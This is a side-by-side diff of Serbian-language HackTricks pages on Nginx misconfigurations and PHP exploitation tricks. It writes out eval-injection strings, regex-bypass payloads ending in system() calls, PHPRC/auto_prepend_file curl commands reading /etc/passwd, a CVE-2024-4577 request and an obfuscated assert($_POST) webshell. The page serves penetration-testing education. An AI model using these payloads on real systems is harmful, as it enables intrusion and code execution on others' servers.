Na primer, zaglavlje **`X-Accel-Redirect`** će izazvati interno **preusmeravanje** u Nginxu. Dakle, imati Nginx konfiguraciju sa nečim poput **`root /`** i odgovorom sa web servera sa **`X-Accel-Redirect: .env`** će nagnati Nginx da pošalje sadržaj **`/.env`** (Path Traversal). Na primer, zaglavlje **`X-Accel-Redirect`** će izazvati interno **preusmeravanje** u Nginxu. Tako da imati Nginx konfiguraciju sa nečim poput **`root /`** i odgovorom sa web servera sa **`X-Accel-Redirect: .env`** će naterati Nginx da pošalje sadržaj **`/.env`** (Path Traversal).
### **Default Value in Map Directive** ### **Default Value in Map Directive**
@ -222,7 +224,7 @@ Bez `default`, **zlonameran korisnik** može zaobići sigurnost pristupajući **
### **DNS Spoofing Ranljivost** ### **DNS Spoofing Ranljivost**
DNS spoofing protiv Nginx-a je moguć pod određenim uslovima. Ako napadač zna koji **DNS server** koristi Nginx i može presresti njegove DNS upite, može falsifikovati DNS zapise. Ova metoda, međutim, nije efikasna ako je Nginx konfigurisan da koristi **localhost (127.0.0.1)** za DNS rezoluciju. Nginx omogućava specificiranje DNS servera na sledeći način: DNS spoofing protiv Nginx-a je izvodljiv pod određenim uslovima. Ako napadač zna koji **DNS server** koristi Nginx i može presresti njegove DNS upite, može falsifikovati DNS zapise. Ova metoda, međutim, nije efikasna ako je Nginx konfigurisan da koristi **localhost (127.0.0.1)** za DNS rezoluciju. Nginx omogućava specificiranje DNS servera na sledeći način:
```yaml ```yaml
resolver 8.8.8.8; resolver 8.8.8.8;
``` ```
@ -286,7 +288,9 @@ Nginxpwner je jednostavan alat za traženje uobičajenih Nginx pogrešnih konfig
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Izvršite potpuni pentest sa bilo kog mesta sa 20+ alata i funkcija koje idu od rekona do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -15,15 +15,19 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %} #### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Uobičajena lokacija kolačića: ## Uobičajena lokacija kolačića:
Ovo važi i za phpMyAdmin kolačiće. Ovo važi i za phpMyAdmin kolačiće.
Kolačići: Cookies:
``` ```
PHPSESSID PHPSESSID
phpMyAdmin phpMyAdmin
@ -50,8 +54,8 @@ PHP tabele upoređivanja: [https://www.php.net/manual/en/types.comparisons.php](
* `"string" == 0 -> True` String koji ne počinje brojem je jednak broju * `"string" == 0 -> True` String koji ne počinje brojem je jednak broju
* `"0xAAAA" == "43690" -> True` Stringovi sastavljeni od brojeva u dec ili hex formatu mogu se uporediti sa drugim brojevima/stringovima sa True kao rezultatom ako su brojevi isti (brojevi u stringu se tumače kao brojevi) * `"0xAAAA" == "43690" -> True` Stringovi sastavljeni od brojeva u dec ili hex formatu mogu se uporediti sa drugim brojevima/stringovima sa True kao rezultatom ako su brojevi isti (brojevi u stringu se tumače kao brojevi)
* `"0e3264578" == 0 --> True` String koji počinje sa "0e" i nakon toga sledi bilo šta biće jednak 0 * `"0e3264578" == 0 --> True` String koji počinje sa "0e" i nakon toga sledi bilo šta biće jednak 0
* `"0X3264578" == 0X --> True` String koji počinje sa "0" i nakon toga sledi bilo koje slovo (X može biti bilo koje slovo) i nakon toga bilo šta biće jednak 0 * `"0X3264578" == 0X --> True` String koji počinje sa "0" i nakon toga sledi bilo koje slovo (X može biti bilo koje slovo) i nakon toga sledi bilo šta biće jednak 0
* `"0e12334" == "0" --> True` Ovo je veoma zanimljivo jer u nekim slučajevima možete kontrolisati string unos "0" i neki sadržaj koji se hešira i upoređuje sa njim. Stoga, ako možete pružiti vrednost koja će stvoriti heš koji počinje sa "0e" i bez ikakvog slova, mogli biste zaobići upoređivanje. Možete pronaći **već heširane stringove** sa ovim formatom ovde: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) * `"0e12334" == "0" --> True` Ovo je veoma interesantno jer u nekim slučajevima možete kontrolisati string unos "0" i neki sadržaj koji se hešira i upoređuje sa njim. Stoga, ako možete da obezbedite vrednost koja će kreirati heš koji počinje sa "0e" i bez bilo kog slova, mogli biste da zaobiđete upoređivanje. Možete pronaći **već heširane stringove** sa ovim formatom ovde: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` Svako slovo u stringu je jednako int 0 * `"X" == 0 --> True` Svako slovo u stringu je jednako int 0
Više informacija na [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) Više informacija na [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
@ -79,17 +83,17 @@ Ista greška se javlja sa `strcasecmp()`
### Strogo prebacivanje tipova ### Strogo prebacivanje tipova
Čak i ako se koristi `===`, mogu se javiti greške koje čine da je **upoređivanje ranjivo** na **prebacivanje tipova**. Na primer, ako upoređivanje **pretvara podatke u drugi tip objekta pre nego što ih uporedi**: Čak i ako se koristi `===`, mogu se javiti greške koje čine da je **upoređivanje ranjivo** na **prebacivanje tipova**. Na primer, ako **upoređivanje konvertuje podatke u drugi tip objekta pre nego što ih uporedi**:
```php ```php
(int) "1abc" === (int) "1xyz" //This will be true (int) "1abc" === (int) "1xyz" //This will be true
``` ```
### preg\_match(/^.\*/) ### preg\_match(/^.\*/)
**`preg_match()`** može se koristiti za **validaciju korisničkog unosa** (on **proverava** da li je neka **reč/regex** iz **crne liste** **prisutna** u **korisničkom unosu** i ako nije, kod može nastaviti sa izvršavanjem). **`preg_match()`** može se koristiti za **validaciju korisničkog unosa** (proverava da li je neka **reč/regex** iz **crne liste** **prisutna** u **korisničkom unosu** i ako nije, kod može nastaviti sa izvršavanjem).
#### Bypass novog reda #### Bypass novog reda
Međutim, kada se određuje početak regexp-a, `preg_match()` **proverava samo prvu liniju korisničkog unosa**, a zatim, ako nekako možete **poslati** unos u **više linija**, mogli biste biti u mogućnosti da zaobiđete ovu proveru. Primer: Međutim, kada se određuje početak regexp-a, `preg_match()` **proverava samo prvu liniju korisničkog unosa**, a zatim, ako nekako možete **poslati** unos u **several lines**, mogli biste biti u mogućnosti da zaobiđete ovu proveru. Primer:
```php ```php
$myinput="aaaaaaa $myinput="aaaaaaa
11111111"; //Notice the new line 11111111"; //Notice the new line
@ -110,10 +114,10 @@ Da biste zaobišli ovu proveru, možete **poslati vrednost sa novim redovima url
``` ```
Nađite primer ovde: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice) Nađite primer ovde: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **Obilaženje greške u dužini** #### **Zaobilaženje greške u dužini**
(Ovo obilaženje je očigledno isprobano na PHP 5.2.5 i nisam mogao da ga nateram da radi na PHP 7.3.15)\ (Ovo zaobilaženje je očigledno isprobano na PHP 5.2.5 i nisam mogao da ga nateram da radi na PHP 7.3.15)\
Ako možete da pošaljete `preg_match()` važeći veoma **veliki unos**, **neće moći da ga obradi** i moći ćete da **obidjete** proveru. Na primer, ako se crna lista JSON, mogli biste poslati: Ako možete da pošaljete `preg_match()` važeći veoma **veliki unos**, **neće moći da ga obradi** i moći ćete da **zaobiđete** proveru. Na primer, ako se crna lista JSON, mogli biste poslati:
```bash ```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
``` ```
@ -125,17 +129,17 @@ Trik iz: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-wri
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
Ukratko, problem se dešava jer `preg_*` funkcije u PHP-u koriste [PCRE biblioteku](http://www.pcre.org/). U PCRE određene regularne izraze se podudara koristeći mnogo rekurzivnih poziva, što troši mnogo prostora na steku. Moguće je postaviti limit na broj dozvoljenih rekurzija, ali u PHP-u ovaj limit [podrazumevano iznosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) što je više nego što stane na stek. Ukratko, problem se dešava zato što `preg_*` funkcije u PHP-u koriste [PCRE biblioteku](http://www.pcre.org/). U PCRE određene regularne izraze se podudara koristeći mnogo rekurzivnih poziva, što troši mnogo prostora na steku. Moguće je postaviti limit na broj dozvoljenih rekurzija, ali u PHP-u ovaj limit [podrazumevano iznosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) što je više nego što stane na stek.
[Ova Stackoverflow tema](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) je takođe povezana u postu gde se o ovom problemu govori detaljnije. Naš zadatak je sada bio jasan:\ [Ova Stackoverflow tema](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) je takođe povezana u postu gde se dublje govori o ovom problemu. Naš zadatak je sada bio jasan:\
**Pošaljite unos koji bi naterao regex da izvrši 100\_000+ rekurzija, uzrokujući SIGSEGV, čineći da `preg_match()` funkcija vrati `false`, čime aplikacija misli da naš unos nije zlonameran, izbacujući iznenađenje na kraju payload-a nešto poput `{system(<verybadcommand>)}` da bi dobili SSTI --> RCE --> flag :)**. **Pošaljite unos koji bi naterao regex da uradi 100\_000+ rekurzija, uzrokujući SIGSEGV, čineći da `preg_match()` funkcija vrati `false`, čime aplikacija misli da naš unos nije zlonameran, izbacujući iznenađenje na kraju payload-a nešto poput `{system(<verybadcommand>)}` da bi dobili SSTI --> RCE --> flag :)**.
Pa, u terminima regex-a, zapravo ne radimo 100k "rekurzija", već umesto toga brojimo "korake unazad", što, kao što [PHP dokumentacija](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) navodi, podrazumevano iznosi 1\_000\_000 (1M) u `pcre.backtrack_limit` varijabli.\ Pa, u terminima regex-a, zapravo ne radimo 100k "rekurzija", već umesto toga brojimo "korake unazad", što, kao što [PHP dokumentacija](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) navodi, podrazumevano iznosi 1\_000\_000 (1M) u `pcre.backtrack_limit` varijabli.\
Da bismo to postigli, `'X'*500_001` će rezultirati u 1 milion koraka unazad (500k unapred i 500k unazad): Da bismo to postigli, `'X'*500_001` će rezultirati u 1 milion koraka unazad (500k unapred i 500k unazad):
```python ```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
``` ```
### Tip prebacivanja tipova za PHP obfuscation ### Tip prebacivanja za PHP obfuscation
```php ```php
$obfs = "1"; //string "1" $obfs = "1"; //string "1"
$obfs++; //int 2 $obfs++; //int 2
@ -168,7 +172,7 @@ Proverite:
## Više trikova ## Više trikova
* **register\_globals**: U **PHP < 4.1.1.1** ili ako je pogrešno konfigurisano, **register\_globals** može biti aktivan (ili se njihovo ponašanje imitira). To implicira da u globalnim promenljivim kao što su $\_GET, ako imaju vrednost npr. $\_GET\["param"]="1234", možete mu pristupiti preko **$param. Stoga, slanjem HTTP parametara možete prepisati promenljive** koje se koriste unutar koda. * **register\_globals**: U **PHP < 4.1.1.1** ili ako je pogrešno konfigurisano, **register\_globals** može biti aktivan (ili se njihovo ponašanje imitira). To implicira da u globalnim promenljivim kao što je $\_GET, ako imaju vrednost npr. $\_GET\["param"]="1234", možete mu pristupiti putem **$param. Stoga, slanjem HTTP parametara možete prepisati promenljive** koje se koriste unutar koda.
* **PHPSESSION kolačići iste domene se čuvaju na istom mestu**, stoga ako unutar domene **različiti kolačići se koriste na različitim putanjama** možete učiniti da putanja **pristupi kolačiću druge putanje** postavljanjem vrednosti kolačića druge putanje.\ * **PHPSESSION kolačići iste domene se čuvaju na istom mestu**, stoga ako unutar domene **različiti kolačići se koriste na različitim putanjama** možete učiniti da putanja **pristupi kolačiću druge putanje** postavljanjem vrednosti kolačića druge putanje.\
Na ovaj način, ako **obe putanje pristupaju promenljivoj sa istim imenom** možete učiniti da **vrednost te promenljive u putanji1 važi za putanju2**. I tada će putanja2 smatrati validnim promenljive putanje1 (dajući kolačiću ime koje odgovara njemu u putanji2). Na ovaj način, ako **obe putanje pristupaju promenljivoj sa istim imenom** možete učiniti da **vrednost te promenljive u putanji1 važi za putanju2**. I tada će putanja2 smatrati validnim promenljive putanje1 (dajući kolačiću ime koje odgovara njemu u putanji2).
* Kada imate **korisnička imena** korisnika mašine. Proverite adresu: **/\~\<USERNAME>** da vidite da li su php direktorijumi aktivirani. * Kada imate **korisnička imena** korisnika mašine. Proverite adresu: **/\~\<USERNAME>** da vidite da li su php direktorijumi aktivirani.
@ -176,7 +180,7 @@ Na ovaj način, ako **obe putanje pristupaju promenljivoj sa istim imenom** mož
### password\_hash/password\_verify ### password\_hash/password\_verify
Ove funkcije se obično koriste u PHP-u da **generišu hešove iz lozinki** i da **provere** da li je lozinka tačna u poređenju sa hešom.\ Ove funkcije se obično koriste u PHP-u da **generišu heširane vrednosti iz lozinki** i da **provere** da li je lozinka ispravna u poređenju sa hešom.\
Podržani algoritmi su: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (počinje sa `$2y$`). Imajte na umu da je **PASSWORD\_DEFAULT često isto što i PASSWORD\_BCRYPT.** A trenutno, **PASSWORD\_BCRYPT** ima **ograničenje veličine ulaza od 72bajta**. Stoga, kada pokušate da heširate nešto veće od 72bajta sa ovim algoritmom, koristiće se samo prvih 72B: Podržani algoritmi su: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (počinje sa `$2y$`). Imajte na umu da je **PASSWORD\_DEFAULT često isto što i PASSWORD\_BCRYPT.** A trenutno, **PASSWORD\_BCRYPT** ima **ograničenje veličine ulaza od 72bajta**. Stoga, kada pokušate da heširate nešto veće od 72bajta sa ovim algoritmom, koristiće se samo prvih 72B:
```php ```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
@ -199,7 +203,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
``` ```
#### Popunjavanje tela pre postavljanja zaglavlja #### Popunjavanje tela pre postavljanja zaglavlja
Ako **PHP stranica ispisuje greške i vraća neki unos koji je korisnik pružio**, korisnik može naterati PHP server da vrati neki **sadržaj dovoljno dug** tako da kada pokuša da **doda zaglavlja** u odgovor, server će baciti grešku.\ Ako **PHP stranica ispisuje greške i vraća neki unos koji je obezbedio korisnik**, korisnik može naterati PHP server da vrati neki **sadržaj dovoljno dug** tako da kada pokuša da **doda zaglavlja** u odgovor, server će baciti grešku.\
U sledećem scenariju **napadač je naterao server da baci neke velike greške**, i kao što možete videti na ekranu kada je PHP pokušao da **izmeni informacije o zaglavlju, nije mogao** (tako da, na primer, CSP zaglavlje nije poslato korisniku): U sledećem scenariju **napadač je naterao server da baci neke velike greške**, i kao što možete videti na ekranu kada je PHP pokušao da **izmeni informacije o zaglavlju, nije mogao** (tako da, na primer, CSP zaglavlje nije poslato korisniku):
![](<../../../.gitbook/assets/image (1085).png>) ![](<../../../.gitbook/assets/image (1085).png>)
@ -225,7 +229,7 @@ Proverite stranicu:
preg_replace(pattern,replace,base) preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever") preg_replace("/a/e","phpinfo()","whatever")
``` ```
Da bi se izvršio kod u "replace" argumentu, potrebna je najmanje jedna podudarnost.\ Da bi se izvršio kod u "replace" argumentu, potrebna je barem jedna podudarnost.\
Ova opcija preg\_replace je **ukinuta od PHP 5.5.0.** Ova opcija preg\_replace je **ukinuta od PHP 5.5.0.**
### **RCE putem Eval()** ### **RCE putem Eval()**
@ -243,7 +247,7 @@ Ova funkcija unutar php omogućava vam da **izvršite kod koji je napisan u stri
``` ```
?page=a','NeVeR') === false and system('ls') and strpos('a ?page=a','NeVeR') === false and system('ls') and strpos('a
``` ```
Biće potrebno da **razbijete** **sintaksu** koda, **dodate** svoj **payload**, a zatim **ponovo to ispravite**. Možete koristiti **logičke operacije** kao što su "**and" ili "%26%26" ili "|"**. Imajte na umu da "or", "||" ne funkcioniše jer ako je prvi uslov tačan, naš payload se neće izvršiti. Na isti način ";" ne funkcioniše jer se naš payload neće izvršiti. Morate **razbiti** **sintaksu** koda, **dodati** svoj **payload**, a zatim **ponovo ga popraviti**. Možete koristiti **logičke operacije** kao što su "**and" ili "%26%26" ili "|"**. Imajte na umu da "or", "||" ne funkcioniše jer ako je prvi uslov tačan, naš payload neće biti izvršen. Na isti način ";" ne funkcioniše jer naš payload neće biti izvršen.
**Druga opcija** je da dodate izvršenje komande u string: `'.highlight_file('.passwd').'` **Druga opcija** je da dodate izvršenje komande u string: `'.highlight_file('.passwd').'`
@ -282,22 +286,22 @@ Da biste otkrili broj zagrada koje treba da zatvorite:
### **RCE putem .httaccess** ### **RCE putem .httaccess**
Ako možete da **otpremite** **.htaccess**, onda možete **konfigurisati** nekoliko stvari i čak izvršiti kod (konfigurišući da se datoteke sa ekstenzijom .htaccess mogu **izvršiti**). Ako možete da **otpremite** **.htaccess**, onda možete da **konfigurišete** nekoliko stvari i čak izvršite kod (konfigurišući da se datoteke sa ekstenzijom .htaccess mogu **izvršiti**).
Različiti .htaccess shell-ovi mogu se naći [ovde](https://github.com/wireghoul/htshells) Različiti .htaccess shell-ovi mogu se naći [ovde](https://github.com/wireghoul/htshells)
### RCE putem Env Varijabli ### RCE putem Env Varijabli
Ako pronađete ranjivost koja vam omogućava da **modifikujete env varijable u PHP-u** (i još jednu za otpremanje datoteka, iako se možda ovo može zaobići uz više istraživanja), mogli biste zloupotrebiti ovo ponašanje da dobijete **RCE**. Ako pronađete ranjivost koja vam omogućava da **modifikujete env varijable u PHP-u** (i još jednu za otpremanje datoteka, iako se možda ovo može zaobići uz više istraživanja), mogli biste da zloupotrebite ovo ponašanje da dobijete **RCE**.
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Ova env varijabla vam omogućava da učitate proizvoljne biblioteke prilikom izvršavanja drugih binarnih datoteka (iako u ovom slučaju možda neće raditi). * [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Ova env varijabla vam omogućava da učitate proizvoljne biblioteke prilikom izvršavanja drugih binarnih datoteka (iako u ovom slučaju možda neće raditi).
* **`PHPRC`** : Upravlja PHP-om o **tome gde da locira svoj konfiguracioni fajl**, obično nazvan `php.ini`. Ako možete da otpremite svoj konfiguracioni fajl, onda, koristite `PHPRC` da usmerite PHP ka njemu. Dodajte **`auto_prepend_file`** unos koji specificira drugu otpremanu datoteku. Ova druga datoteka sadrži normalan **PHP kod, koji se zatim izvršava** od strane PHP runtime-a pre bilo kog drugog koda. * **`PHPRC`** : Upravlja PHP-om o **tome gde da locira svoj konfiguracioni fajl**, obično nazvan `php.ini`. Ako možete da otpremite svoj konfiguracioni fajl, onda koristite `PHPRC` da usmerite PHP ka njemu. Dodajte **`auto_prepend_file`** unos koji specificira drugu otpremanu datoteku. Ova druga datoteka sadrži normalan **PHP kod, koji se zatim izvršava** od strane PHP runtime-a pre bilo kog drugog koda.
1. Otpremite PHP datoteku koja sadrži naš shellcode 1. Otpremite PHP datoteku koja sadrži naš shellcode
2. Otpremite drugu datoteku, koja sadrži **`auto_prepend_file`** direktivu koja upućuje PHP preprocesor da izvrši datoteku koju smo otpremili u koraku 1 2. Otpremite drugu datoteku, koja sadrži **`auto_prepend_file`** direktivu koja upućuje PHP preprocesor da izvrši datoteku koju smo otpremili u koraku 1
3. Postavite `PHPRC` varijablu na datoteku koju smo otpremili u koraku 2. 3. Postavite `PHPRC` varijablu na datoteku koju smo otpremili u koraku 2.
* Dobijte više informacija o tome kako izvršiti ovaj lanac [**iz originalnog izveštaja**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/). * Dobijte više informacija o tome kako izvršiti ovaj lanac [**iz originalnog izveštaja**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
* **PHPRC** - druga opcija * **PHPRC** - druga opcija
* Ako **ne možete otpremiti datoteke**, možete koristiti u FreeBSD "datoteku" `/dev/fd/0` koja sadrži **`stdin`**, što je **telo** zahteva poslatog na `stdin`: * Ako **ne možete da otpremite datoteke**, možete koristiti u FreeBSD "datoteku" `/dev/fd/0` koja sadrži **`stdin`**, što je **telo** zahteva poslatog na `stdin`:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'` * `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
* Ili da dobijete RCE, omogućite **`allow_url_include`** i dodajte datoteku sa **base64 PHP kodom**: * Ili da dobijete RCE, omogućite **`allow_url_include`** i dodajte datoteku sa **base64 PHP kodom**:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'` * `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
@ -309,7 +313,7 @@ Web server analizira HTTP zahteve i prosleđuje ih PHP skripti koja izvršava za
```jsx ```jsx
-d allow_url_include=1 -d auto_prepend_file=php://input -d allow_url_include=1 -d auto_prepend_file=php://input
``` ```
Pored toga, moguće je injektovati parametar "-" koristeći karakter 0xAD zbog kasnije normalizacije PHP-a. Proverite primer eksploatacije iz [**ove objave**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/): Pored toga, moguće je injektovati parametar "-" koristeći karakter 0xAD zbog kasnije normalizacije PHP-a. Proverite. primer eksploatacije iz [**ove objave**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
```jsx ```jsx
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}} Host: {{host}}
@ -333,7 +337,7 @@ Pored toga, predložena je i zanimljiva metoda za izvršavanje funkcija koja im
``` ```
## PHP Staticka analiza ## PHP Staticka analiza
Pogledajte da li možete da umetnete kod u pozive ovih funkcija (iz [ovde](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)): Pogledajte da li možete umetnuti kod u pozive ovih funkcija (iz [ovde](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
```php ```php
exec, shell_exec, system, passthru, eval, popen exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents unserialize, include, file_put_cotents
@ -343,7 +347,7 @@ Ako debagujete PHP aplikaciju, možete globalno omogućiti štampanje grešaka u
### Deobfuscating PHP code ### Deobfuscating PHP code
Možete koristiti **web**[ **www.unphp.net**](http://www.unphp.net) **za deobfuskaciju php koda.** Možete koristiti **web**[ **www.unphp.net**](http://www.unphp.net) **da deobfuskate php kod.**
## PHP Wrappers & Protocols ## PHP Wrappers & Protocols
@ -367,7 +371,7 @@ echo "$x ${Da}"; //Da Drums
``` ```
## RCE zloupotreba novog $\_GET\["a"]\($\_GET\["b") ## RCE zloupotreba novog $\_GET\["a"]\($\_GET\["b")
Ako na stranici možete **napraviti novi objekat proizvoljne klase** možda ćete moći da dobijete RCE, proverite sledeću stranicu da biste saznali kako: Ako na stranici možete **napraviti novi objekat proizvoljne klase**, možda ćete moći da dobijete RCE, proverite sledeću stranicu da biste saznali kako:
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} {% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md) [php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
@ -464,9 +468,13 @@ $____.=$__;
$_=$$____; $_=$$____;
$___($_[_]); // ASSERT($_POST[_]); $___($_[_]); // ASSERT($_POST[_]);
``` ```
<figure><img src="../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %} #### Pogledajte iz perspektive hakera na vaše web aplikacije, mrežu i cloud
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -1,29 +1,31 @@
# Werkzeug / Flask Debug # Werkzeug / Flask Debug
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>Podržite HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %} {% endhint %}
